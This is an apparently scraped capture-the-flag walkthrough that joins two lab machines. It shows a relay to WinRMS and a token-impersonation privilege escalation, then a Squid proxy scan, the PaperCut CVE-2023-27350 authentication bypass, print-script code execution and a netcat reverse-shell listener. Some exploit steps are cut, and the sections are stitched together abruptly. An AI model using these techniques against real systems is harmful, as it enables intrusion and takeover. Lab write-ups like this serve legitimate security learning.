[!] The client requested signing, relaying to WinRMS might not work!
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.signed.htb:5986 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.signed.htb:5986 ... OK
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.242.173 against winrms://DC01.signed.htb SUCCEED [1]
[*] winrms:///@dc01.signed.htb [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
It started a shell on localhost port 11000. I’ll connect:
oxdf@hacky$nc localhost 11000
Type help for list of commands
#
help shows a lot of commands:
# helpFor more information on a specific command, type HELP command-name
ASSOC Displays or modifies file extension associations.
ATTRIB Displays or changes file attributes.
BREAK Sets or clears extended CTRL+C checking.
BCDEDIT Sets properties in boot database to control boot loading.
CACLS Displays or modifies access control lists (ACLs) of files.
CALL Calls one batch program from another.
CD Displays the name of or changes the current directory.
CHCP Displays or sets the active code page number.
CHDIR Displays the name of or changes the current directory.
CHKDSK Checks a disk and displays a status report.
CHKNTFS Displays or modifies the checking of disk at boot time.
CLS Clears the screen.
CMD Starts a new instance of the Windows command interpreter.
COLOR Sets the default console foreground and background colors.
COMP Compares the contents of two files or sets of files.
COMPACT Displays or alters the compression of files on NTFS partitions.
CONVERT Converts FAT volumes to NTFS. You cannot convert the
current drive.
COPY Copies one or more files to another location.
DATE Displays or sets the date.
DEL Deletes one or more files.
DIR Displays a list of files and subdirectories in a directory.
DISKPART Displays or configures Disk Partition properties.
DOSKEY Edits command lines, recalls Windows commands, and
creates macros.
DRIVERQUERY Displays current device driver status and properties.
ECHO Displays messages, or turns command echoing on or off.
ENDLOCAL Ends localization of environment changes in a batch file.
ERASE Deletes one or more files.
EXIT Quits the CMD.EXE program (command interpreter).
FC Compares two files or sets of files, and displays the
differences between them.
FIND Searches for a text string in a file or files.
FINDSTR Searches for strings in files.
FOR Runs a specified command for each file in a set of files.
FORMAT Formats a disk for use with Windows.
FSUTIL Displays or configures the file system properties.
FTYPE Displays or modifies file types used in file extension
associations.
GOTO Directs the Windows command interpreter to a labeled line in
a batch program.
GPRESULT Displays Group Policy information for machine or user.
GRAFTABL Enables Windows to display an extended character set in
graphics mode.
HELP Provides Help information for Windows commands.
ICACLS Display, modify, backup, or restore ACLs for files and
directories.
IF Performs conditional processing in batch programs.
LABEL Creates, changes, or deletes the volume label of a disk.
MD Creates a directory.
MKDIR Creates a directory.
MKLINK Creates Symbolic Links and Hard Links
MODE Configures a system device.
MORE Displays output one screen at a time.
MOVE Moves one or more files from one directory to another
directory.
OPENFILES Displays files opened by remote users for a file share.
PATH Displays or sets a search path for executable files.
PAUSE Suspends processing of a batch file and displays a message.
POPD Restores the previous value of the current directory saved by
PUSHD.
PRINT Prints a text file.
PROMPT Changes the Windows command prompt.
PUSHD Saves the current directory then changes it.
RD Removes a directory.
RECOVER Recovers readable information from a bad or defective disk.
REM Records comments (remarks) in batch files or CONFIG.SYS.
REN Renames a file or files.
RENAME Renames a file or files.
REPLACE Replaces files.
RMDIR Removes a directory.
ROBOCOPY Advanced utility to copy files and directory trees
SET Displays, sets, or removes Windows environment variables.
SETLOCAL Begins localization of environment changes in a batch file.
SC Displays or configures services (background processes).
SCHTASKS Schedules commands and programs to run on a computer.
SHIFT Shifts the position of replaceable parameters in batch files.
SHUTDOWN Allows proper local or remote shutdown of machine.
SORT Sorts input.
START Starts a separate window to run a specified program or command.
SUBST Associates a path with a drive letter.
SYSTEMINFO Displays machine specific properties and configuration.
TASKLIST Displays all currently running tasks including services.
TASKKILL Kill or stop a running process or application.
TIME Displays or sets the system time.
TITLE Sets the window title for a CMD.EXE session.
TREE Graphically displays the directory structure of a drive or
path.
TYPE Displays the contents of a text file.
VER Displays the Windows version.
VERIFY Tells Windows whether to verify that your files are written
correctly to a disk.
VOL Displays a disk volume label and serial number.
XCOPY Copies files and directory trees.
WMIC Displays WMI information inside interactive command shell.
This is a stateless shell, as I can’t seem to change directories between commands. Still, I can read the flag:
# DIRC:\Users\Administrator\DesktopVolume in drive C has no label.
Volume Serial Number is BED4-436E
Directory of C:\Users\Administrator\Desktop
10/06/2025 04:04 AM <DIR> .
10/06/2025 04:04 AM <DIR> ..
02/01/2026 05:04 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 6,367,277,056 bytes free
# typeC:\Users\Administrator\Desktop\root.txt2e43af1f************************
via SeImpersonate Restoration
Strategy
When the MSSQL service starts at boot, Windows authenticates the mssqlsvc account and creates a logon session. LSASS stores this initial token for use during network authentication. Service accounts are granted SeImpersonatePrivilege by default, and MSSQL legitimately uses impersonation to handle client connections under different security contexts. So it’s reasonable to assume the original token has this privilege. As I show above, the shell as mssqlsvc doesn’t have SeImpersonatePrivilege, which means the service must be running with a restricted token as a hardening measure.
A post from Tyranid’s Lair titled Sharing a Logon Session a Little Too Much from 2020 goes into detail on how to recover this original token by creating a named pipe. On connecting to the pipe, the SMB redirector (running in the kernel) performs authentication using the stored token rather than the current process. Impersonating the pipe client yields the original token.
Build Module
The post references a tool found in the sandbox-attacksurface-analysis-tools repo, and it contains DLLs that need to be compiled for it to work. I’ll clone the repo to a Windows host and open the .sln file in Visual Studio. I’ll set the configuration to Release:
And then Build –> Build Solution to compile everything:
I’ll zip bin/release and transfer that to my hacking VM and upload it to Signed:
jvar pointed out that I could also build this on Linux PowerShell:
oxdf@hacky$pwshPowerShell 7.5.4
PS /home/oxdf>Install-Module-NamePSWSManUntrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want
to install the modules from 'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
PS /home/oxdf>Install-Module-NameNtObjectManagerUntrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want
to install the modules from 'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
PS /home/oxdf>Save-Module-NameNtObjectManager-Path/home/oxdf/PS /home/oxdf>Compress-Archive-Path/home/oxdf/NtObjectManager/*-DestinationPath/tmp/NtObjectManager.zip
That resulting zip has the files necessary to import-module .\NtObjectManager.psm1.
Get Token
Now I’ll run through the steps in the post. First I’ll create a pipe and start a job with that pipe listening:
PS C:\programdata>$pipe=New-NtNamedPipeFile\\.\pipe\ABC-Win32PathPS C:\programdata>$job=Start-Job{$pipe.Listen()}PS C:\programdata>$job
Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
7 Job7 BackgroundJob Completed True localhost $pipe.Listen()
Now I’ll open a handle to the pipe and get the token from the client:
PS C:\programdata\release>$token.privileges|ftName,Attributes,DisplayName
Name Attributes DisplayName
---- ---------- -----------
SeAssignPrimaryTokenPrivilege Enabled Replace a process level token
SeIncreaseQuotaPrivilege Enabled Adjust memory quotas for a process
SeMachineAccountPrivilege Enabled Add workstations to domain
SeChangeNotifyPrivilege EnabledByDefault, Enabled Bypass traverse checking
SeImpersonatePrivilege EnabledByDefault, Enabled Impersonate a client after authentication
SeCreateGlobalPrivilege EnabledByDefault, Enabled Create global objects
SeIncreaseWorkingSetPrivilege Enabled Increase a process working set
Process With Token
To start a new process using this token, I’ll use New-Win32Process. I won’t be able to see STDOUT or STDERR, so I’ll direct it to a file:
PS C:\programdata>catoutput.txt
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
GodPotato
I’ll grab the latest version of GodPotato to escalate through SeImpersonatePrivilege and upload it to Signed:
Bamboo offers a Squid HTTP proxy through which I’ll access a PaperCut NG instance. I’ll use Spose to scan through the proxy and discover the print management application. I’ll exploit an authentication bypass vulnerability in PaperCut and use application access to enabling print scripting to get code execution. For privilege escalation, I’ll abuse a root process that runs a script from the papercut user’s home directory.
nmap finds two open TCP ports, SSH (22) and Squid (3128):
oxdf@hacky$nmap -p--vvv--min-rate 10000 10.129.238.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:37 UTC
...[snip]...
Nmap scan report for 10.129.238.16
Host is up, received echo-reply ttl 63 (0.021s latency).
Scanned at 2026-01-27 02:37:36 UTC for 13s
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
3128/tcp open squid-http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
Raw packets sent: 131082 (5.768MB) | Rcvd: 13 (556B)
oxdf@hacky$nmap -p 22,3128 -sCV 10.129.238.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:38 UTC
Nmap scan report for 10.129.238.16
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA)
|_ 256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519)
3128/tcp open http-proxy Squid http proxy 5.9
|_http-server-header: squid/5.9
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy LTS.
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Squid - TCP 3128
General Enumeration
Squid Proxy is an HTTP proxy. It can be configured with or without authentication. If I try to go to it directly in a web browser, it returns an errors page:
The version is 5.9 according to the footer.
Proxied Port Scan
HackTricks has a page on pentesting Squid that suggests Spose as a way to scan through a Squid proxy. I’ll give it a run:
I’ll have it scan all ports, though that will take a while to complete. It prints findings as it finds them, so I don’t have to wait for it to finish to see the next step:
oxdf@hacky$uv run spose.py --proxy http://10.129.238.16:3128 --target localhost --allportsScanning all 65,535 TCP ports
Using proxy address http://10.129.238.16:3128
localhost:22 seems OPEN
localhost:9191 seems OPEN
localhost:9192 seems OPEN
localhost:9195 seems OPEN
Configure Tools
There are two ways I’ll want to interact through the Squid Proxy. From my command line, I’ll use proxychains but updating the ProxyList at the bottom of /etc/proxychains.conf to:
[ProxyList]
http 10.129.238.16 3128
Now, for example, I can use curl to fetch TCP 9191:
oxdf@hacky$proxychains curl http://127.0.0.1:9191 -v[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
* Trying 127.0.0.1:9191...
[proxychains] Strict chain ... 10.129.238.16:3128 ... 127.0.0.1:9191 ... OK
* Connected to 127.0.0.1 (10.129.238.16) port 9191
> GET / HTTP/1.1
> Host: 127.0.0.1:9191
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Tue, 27 Jan 2026 03:33:21 GMT
< Location: http://127.0.0.1:9191/user
< Content-Length: 0
<
* Connection #0 to host 127.0.0.1 left intact
I already have my Firefox set up with FoxyProxy to proxy all my CTF traffic through Burp. I’ll go into Burp –> Proxy –> Settings –> Network –> Connections –> Upstream proxy servers and add this Squid instance:
Now if I load http://127.0.0.1:9191, it loads the page.
PaperCut - TCP 9191, 9192, 9195
Just from these port numbers Claude calls out PaperCut:
This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
This is unauthenticated RCE, with a CVSS score of 9.8 / 10.
CVE-2023-27350
Background
The actual vulnerability with CVE-2023-27350 is an authentication bypass vulnerability. Once on the main page, leveraging that access to get RCE by abusing intended features of the application is not hard. Juniper Networking has a nice blog post breaking down the details as well as how exploitation became incredibly common with ransomware groups following its release.
The issue is in the setup process, which offers a button to login once it’s complete. This button manages to bypass authentication checks and provides a valid session.
Once inside, the user can disable the sandbox protections and enable scripting, allowing for code execution.
Manual POC
To show this, I’ll visit http://127.0.0.1:9191/app?service=page/SetupCompleted (through the Squid proxy):
Now on clicking login, I’m taken to the authenticated dashboard:
A common way to get code execution from Papercut is to enable print scripting. In Options –> Config Editor I’ll filter on “script” to get the two options I need to check:
I’ve updated both of these to enable scripting and disable the sandbox.
Now under Printers, there’s one printer:
Clicking on it, there’s a “Scripting” tab:
If I try to visit this tab before enabling scripting, it shows:
With scripting enabled:
I’ll check the “Enable print script” box, and then add to the code:
If the printJobHook function isn’t present, it will throw an error. I could put code inside it, but then it won’t run until a job is printed. By putting it outside the function, it will run when the function is saved. On clicking Apply at the bottom of the page, it runs:
oxdf@hacky$sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:01:01.885767 IP 10.129.238.16 > 10.10.14.16: ICMP echo request, id 2, seq 1, length 64
00:01:01.885791 IP 10.10.14.16 > 10.129.238.16: ICMP echo reply, id 2, seq 1, length 64
oxdf@hacky$nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.16 56382
bash: cannot set terminal process group (699): Inappropriate ioctl for device
bash: no job control in this shell
papercut@bamboo:~/server$
The way this script is set up won’t handle commands with pipes or redirects, so I’ll have to use one command to upload a file with a reverse shell, and another run to bash <that file>.
Shell as root
Enumeration
Users
The papercut user’s home directory is pretty empty other than the PaperCut install:
These are run by the OS when some action taken on the webserver needs to do something on the host. With printers, a lot of times this will have to be done with escalated privileges.
There’s nothing interesting happening on a cron. Exploring all the settings on the website, eventually I’ll find something interesting. Under “Enable Printing”, I’ll click the little “<” at the right side:
That pops out a menu:
I’ll click “Import BYOD-friendly print queues”:
I’ll click Next:
And finally “Start Importing Mobility Print printers”:
It doesn’t find anything to add, but there’s an interesting set of lines in pspy:
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
Click for full size image
